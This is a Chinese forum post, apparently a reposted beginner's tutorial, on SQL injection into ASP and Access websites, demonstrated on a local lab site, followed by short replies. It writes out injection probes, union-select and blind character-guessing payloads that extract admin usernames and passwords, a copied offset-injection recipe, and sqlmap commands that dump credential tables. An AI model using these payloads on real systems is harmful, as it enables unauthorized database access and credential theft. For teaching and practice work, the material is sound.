办公问答网

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 95|回复: 8

access注入篇

[复制链接]

2

主题

9

帖子

15

积分

新手上路

Rank: 1

积分
15
发表于 2022-12-4 16:22:33 | 显示全部楼层 |阅读模式
为什么先从SQL注入开始记录了,因为我入门这个的时候也是从注入开始学的,所以就先从这个开始总结了,关于SQL注入,我个人的理解就是在代码交接处,没有对接受的变量进行过滤,导致用户如果对输入的地方输出为代码时,该系统会对该代码进行执行。也就是说,管理员的操作权限,我们普通用户也可以操作。我时常用仓库来比喻网站,而管理员就是仓库管理员,游客就就是观光的人,注入就是看到这个物品没上锁,可以直接拿出来。(虽然这个比喻有点不切实际,但是差不多是这个意思。)

access数据库的来历,我就不说了,因为我懒的记,就算记了感觉上也没大多用处,只要记得数据库的结构就行了。


先是表名,然后是列名,再者就是数据,我发个实际的图吧,大概就是这么一个结构。



下面,开始说下未过滤的SQL代码,说是SQL代码,其实应该说是asp代码,因为,很多access数据库都是和asp这个脚本语言相连的,关于asp这个脚本语言细节,想深入了解的可以百度下,毕竟搜索引擎也是一个很好的老师,很好的老师。


上图是asp的代码,ID就是一个变量,一般的网址结构,相信大家都知道的,网址又叫URL,他的组成是由网站地址,文件目录,还有文件名,文件里还有参数名和参数值。就像下面的这个。
网站地址:
http://127.0.
0.1/0/wenjianjia/wenjianming.asp?id=1
网站地址:http://127.0.0.1/0/
文件目录:wenjianjia
文件名:wenjianming.asp
参数名:id
参数值:1
  这个通过上图的未过滤的asp代码,还有下文对网址的解析,大家应该能看出来,变量在ID的这个值上面也就是参数值上。下面我们开始实施操作,理解原理。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 这个URL的ID处存在注入,它在执行是时候是这样的。
select * from product where id=1 这个就是执行的SQL语句,通过这一句来链接数据库与页面直接的数据。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1'我们在URL的后面的加了一个点,来进行测试,看它存不存在注入。
select * from product where id=1' 因为这个点也被带入插入查询了,肯定的,没有 1'文件,所以报错了,那么就说明,存在注入,因为它这条语句带入查询了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and1=1 通过正确and正确这个编程里的方法,来判断是否可以显错,正确和正确,返回的肯定正确。(这个如果想细了解的可以百度下编程的逻辑判断,自己学习下。)
select * from productwhere id=1 and 1=1  返回正确,肯定要正确嘛,不正确,那还杂注入了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and1=2 通过正确and错误,肯定错误,这个编程里的逻辑判断,来看下是否显示错误,如果显示错误,那就表示,可以通过显错来注入。如果不显错,那只能看看用工具能不能来跑出账号密码了,手工注入的毕竟有局限性,而且麻烦。
select * from productwhere id=1 and 1=2   返回错误页面
--------------------------------------------------------------------------------------------------
下面就开始注入了,access数据库的SQL注入,一般都是属于暴力注入,没有固定的规律可言,就是说,你只能靠猜的方法来注入,而不是有固定的方法,肯定会出来密码。

access数据库注入可分为两种注入方法,一种为联合查询法,一种为逐字猜解法,都是属于SQL的语句。那先来说下联合查询法吧。

首先我们需要用 order by 这个语句来猜解列表数,看上面的数据库图,应该都能懂。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 orderby 5  显示正常。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 orderby 6  显示错误。
通过这个对比,我们能猜出这个数据库有5个列表数,那么就开始联合查询法了。

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 unionselect 1,2,3,4,5 from admin
这句的代码的意思就是如果存在admin这个表名,则页面返回正常,如果没有,则返回错误,就像上面的判断是一个道理。

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 unionselect 1,username,password,4,5 from admin
这句代码的的前提是页面爆出可替换的数字时才行,然后把你认为可能是列名的单词替换到数字的位置,下面我会贴上实际图的。这句代码,我列出的两个列名是常见的列名,如果不存在的话,就会直接报错的。如果存在,那么列名下的数据,就会被爆出来。
--------------------------------------------------------------------------------------------------
下面我开始说下逐字猜解法,因为有些情况下,如果网站不支持联合查询法,那就只能哟逐字猜解法了,这个方法很麻烦,所以一般如果到这个步骤的话,肯定要上工具的,要不太麻烦了。
查表名: andexists(select * from 表名)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 andexists(select * from admin)
查询该数据库是否存在admin这个表名,如果存在就返回正常,如果返回错误就是不存在。
--------------------------------------------------------------------------------------------------
查列名: andexists(select 列名 from admin)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 andexists(select username from admin)
查询该数据库下,admin这个表名下是否存在username这个列名,如果存在就返回正常,不存在就爆错。
--------------------------------------------------------------------------------------------------
查数据:1.确定长度2.确定asc数据(asc编码)这个一个格式。
and (select top 1 len(列名)from admin)=5
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and(select top 1 len(username) fromadmin)=5
判断 username这个列表下的数据长度为多少,如果返回正确的话,就是说明 username这个列表下的数据长度为5位数。如果不正确,就表示不是被,然后一个一个猜吧,一般来说超不过10位数,谁的网站账号起那么长啊,和密码快一个长度了。。。。

and (select top 1asc(mid(列名,位数,1)) fromadmin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and(select top 1 asc(mid(username,1,1))fromadmin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and(select top 1 asc(mid(username,2,1))fromadmin)=100
判断access数据库,admin表名下的username这个列表下的数据第一位数是否为asc编码里的97,也就是是否为a。如果是就猜第二位,把位数改成2,然后把后面的asc那个97改改,也就是一个一个的试,所以说很麻烦,一般都是工具跑的。

下面贴一个asc编码的图,自行参考。



--------------------------------------------------------------------------------------------------
对了,access还有一个偏移注入法,就是再已知表名的情况下,不知道列名,进行猜解。我本人对这个偏移注入原理不是很理解,所以也无法详细的说说,但是也得贴上代码,好歹大家都知道这个存在吧。

利用表自连偏移注入Access数据库
1.确定网站 字段数  order by 字段数
2.比如说 字段是47表名是admin ((and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,.....,47 fromadmin)可以爆出敏感字符)
3.构造从1,*查询直到正确的爆出敏感字符的语句 (列子:and 1=2 union select1,*错误就加1,2,3,4,5,6,7,8,*直到正确的爆出敏感字符)
4.例如是(and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin 到33,*正确的爆出敏感字符)
5.用47-33=14 *号就代表admin表名的14个字段
6.把admin表扩大一倍14x2=28 在用47-28=19 (例子:and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin把19,后面的字段全部替换成*号就变成这样了and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* fromadmin)
7.直接爆管理员帐号密码替换表名admin语句(admin as a inner join admin asb on a.id=b.id)
替换后的就变成这样了 (例子:and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from (admin as ainner join admin as b on a.id=b.id))
8.如果还爆不出来帐号密码那就在19,后面加a.id(例子:and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,* from (adminas a inner join admin as b on a.id=b.id))
9.还爆不出来帐号密码就在 a.id后面加上b.id(例子:and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,b.id,* from(admin as a inner join admin as b on a.id=b.id))
10.还爆不出来帐号密码就在b.id后面加c.id 加上c.id就相当于admin表的字段扩大了3倍 就是14x3=42 47-42=5 替换表名admin 语句((admin as a inner join admin as b on a.id=b.id) inner joinadmin as c on a.id=c.id)(例子:and 1=2 union select 1,2,3,4,5,a.id,b.id,c.id,* from ((adminas a inner join admin as b on a.id=b.id) inner join admin as c ona.id=c.id))
上面是我从别的地方贴的,原地址,我已经找不见了,大概就是这么个偏移的思路,如果想更深入的了解,可以可以自己百度去了解。
--------------------------------------------------------------------------------------------------
  好了,高潮的地方开始了,我要开始本地搭建一个asp+access的网站,网站源码是在网上搜的,当然源码里‘马’肯定不少,不过咱电脑又不是服务器,没事。开始了!!!




找见一个access注入点的页面。




判断是否存在注入。




and1=1 返回正常。




and 1=2 返回错误。




查询列表字段数,返回正常的是22个,说明存在22个列表字段。




当order by 到23的时候,报错了,说明只存在22个字段数。




判断是否存在admin这个表名,返回正常,说明存在这个表,但是没爆出数字,咋办?让语句出错被。




好了,我在ID参数后面加了个and 1=2,就是让语句不存在,好出现可替换的数字,下面就可以把爆出的数字进行替换为你认为可能是的列名。




因为我自己搭建的本地,所有我知道列名是什么,我就直接打上去了,然后列名下的数据就被替换出来了。

这就是联合查询法,很简单。但是实际环境中,肯定问题很多,很多,但是联合查询法的,原理就我上面说的呢个,基础就这个。
---------------------------------------------------------------------------------------------------------------
  下面,开始演示下,逐字猜解法:




猜解是否存在admin这个表名,返回正常,那就说明存在了。




猜解admin这个表名下是否存在admin这个列名,返回正常,说明存在。




猜解admin这个表名下的admin列名的数据,总长度是否为5位数。页面返回正常,呢就是说5位数。




开始猜解admin这个表名下admin这个列名的下面的数据第一位是否asc编码里的A ,返回正常,说明是。




开始猜解admin这个表名下admin这个列名的下面的数据第二位是否asc编码里的B ,返回正常,说明是。对了,这里面的top1 的意思是说,第一行,如果不加的话,要么爆错,要么还是报错。

  以上就是逐字猜解法,是不是看着很简单啊,不麻烦啊,一遍过啊,,,,这是在我源码知道的情况下,如果我不知道具体的数据,,那这个截图教程就会很曲折很曲折,当然,手工注入access也是不常用的,毕竟效率才是第一位,都是上工具的。
----------------------------------------------------------------------------------------------------------------
这里,我就开始说下一个注入工具,“SQLmap”这个工具,注入工具很多,什么明小子啊,啊D啊,等等一堆注入工具,但是SQLmap这个工具,是我感觉上很不错的注入工具,它是在python的环境下编写的,当然,我就是python入的门嘛,对关于python编的工具,总是抱有多一点的喜爱的。

SQLmap不光是一个注入工具,在整体的构架上,也算是编程构架思绪学习的一个好的样例,不扯了,说下这个工具吧,如果去官网上下载的话,需要再下载个python的编程环境,毕竟是在这个环境下编写的嘛,当然你也可以下载个免环境版的sqlmap,这个我不细说了,网上一百度,一大堆。
下面开始正式开始操作,网址还是上面我自己搭建的网站,本地网站,安全,稳定,可靠,适合学习,操作,理解,还不被查水表,也不给他人带来麻烦,还能知道原理,练习技术,学会攻防,啦啦啦。不喷了,开始了。




打开工具后是这个样子的如果是python环境下的,可以按着我上面的操作一个一个输入,如果是免环境的,直接输入 -u "url地址" 然后,摁回车就是了。




回车后,直接跑出来数据库类型,因为我总是闲的没事,跑我自己的这个,所以很快就出来,如果你们用的话,可能会出现一条又一条的询问句,要么就全部回车,要么,百度翻译一下句子,然后再选择。




因为这个得一句一句的指令操作的,所以你,摁下方向键的上键,就会还原到上一句的句子,然后你可以直接修改后面的代码。--tables这个是表名的意思。


然后就跑出来access 数据库下,所有的表名。




操作依旧,摁上键,返回上一条命令,然后删除多余的,增改为--columns -T "amin"再回车,就又开始跑了,--columns 是列名的意思,-T“admin”就是表名的意思。




看吧,这样就全部跑出来列名了,很方便,还简单。




操作依旧,--dump 在单词里是下载的意思,-C"admin,password"这个就是列名admin列名和password列名,-T“admin”这个就不说了,你该知道的。还有在安全测试的时候,能不dump就不dump,除非你是授权的,警惕dump。




这两句,我忘了贴翻译,第一句的意思,我不说了,我忘了,第二句的意识是说,是否该工具替你跑出md5加密值为多少,一般工具不好跑出来。




好了,账号密码都爆出来了了,是不是看着很简单?错,不简单,下面我来细说下,并总结下,全文,因为到这里了,差不多access注入篇就要结束了。

--------------------------------------------------------------------------------------------------------------

总结:
access的基础的基础算是总结完了,这个只是access数据库存在注入的漏洞的操作方法,同时还是最基础的,现实的环境比这个复杂的多的多,会出现各种问题,不是我上面用来测试的截图这么简单,这里只是汇总了一下,最基础的基础的,复杂一部分,我就不在这个文章了讲了,等以后了有机会来了就说说,没机会了,你们就自己摸索的着找资料克服吧。感觉我写的这篇文章,算是基础里,access注入篇基础的基础讲的最细的了。自我感觉。
不赖,自己写了一遍,我对基础又加深的记忆了一遍。耶!
回复

使用道具 举报

2

主题

8

帖子

15

积分

新手上路

Rank: 1

积分
15
发表于 2022-12-4 16:23:24 | 显示全部楼层
要不是我新浪博客,我自己都无法发表博客,我也不会来这里转贴下,,找了好多博客当自己的在线笔记的地方,就新浪还可以今天我进了一下午,都没进去我的草稿箱,,气的我只能来知乎文章这里当我的笔记了。。。也不知道知乎这里允许不允许发这类的笔记。。。。毕竟知乎是一个严肃的地方= = 、
回复

使用道具 举报

0

主题

6

帖子

0

积分

新手上路

Rank: 1

积分
0
发表于 2022-12-4 16:23:32 | 显示全部楼层
恩恩
回复

使用道具 举报

3

主题

6

帖子

12

积分

新手上路

Rank: 1

积分
12
发表于 2022-12-4 16:24:18 | 显示全部楼层
大牛我来学习了。
回复

使用道具 举报

0

主题

10

帖子

14

积分

新手上路

Rank: 1

积分
14
发表于 2022-12-4 16:24:44 | 显示全部楼层
学习了
回复

使用道具 举报

3

主题

10

帖子

15

积分

新手上路

Rank: 1

积分
15
发表于 2022-12-4 16:25:12 | 显示全部楼层
呀,有点熟悉啊,这不是小迪sec的靶场咩
回复

使用道具 举报

2

主题

6

帖子

11

积分

新手上路

Rank: 1

积分
11
发表于 2022-12-4 16:25:33 | 显示全部楼层
阿西吧
回复

使用道具 举报

1

主题

5

帖子

6

积分

新手上路

Rank: 1

积分
6
发表于 2022-12-4 16:26:11 | 显示全部楼层
抱歉挖个坟贴了 shiyan表哥 我又来了[飙泪笑][飙泪笑] 旧就是开始那个数据库管理助手在哪找的 看截图像是私人编写的[捂脸][捂脸]
回复

使用道具 举报

1

主题

5

帖子

10

积分

新手上路

Rank: 1

积分
10
发表于 2022-12-4 16:27:03 | 显示全部楼层
你百度一下   老兵数据库管理助手   ,我用的就是这个。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|办公问答网

GMT+8, 2025-7-7 16:48 , Processed in 0.121370 second(s), 23 queries .

Powered by Discuz! X3.4

© 2001-2013 Comsenz Inc. Templated By 【未来科技 www.veikei.com】设计

快速回复 返回顶部 返回列表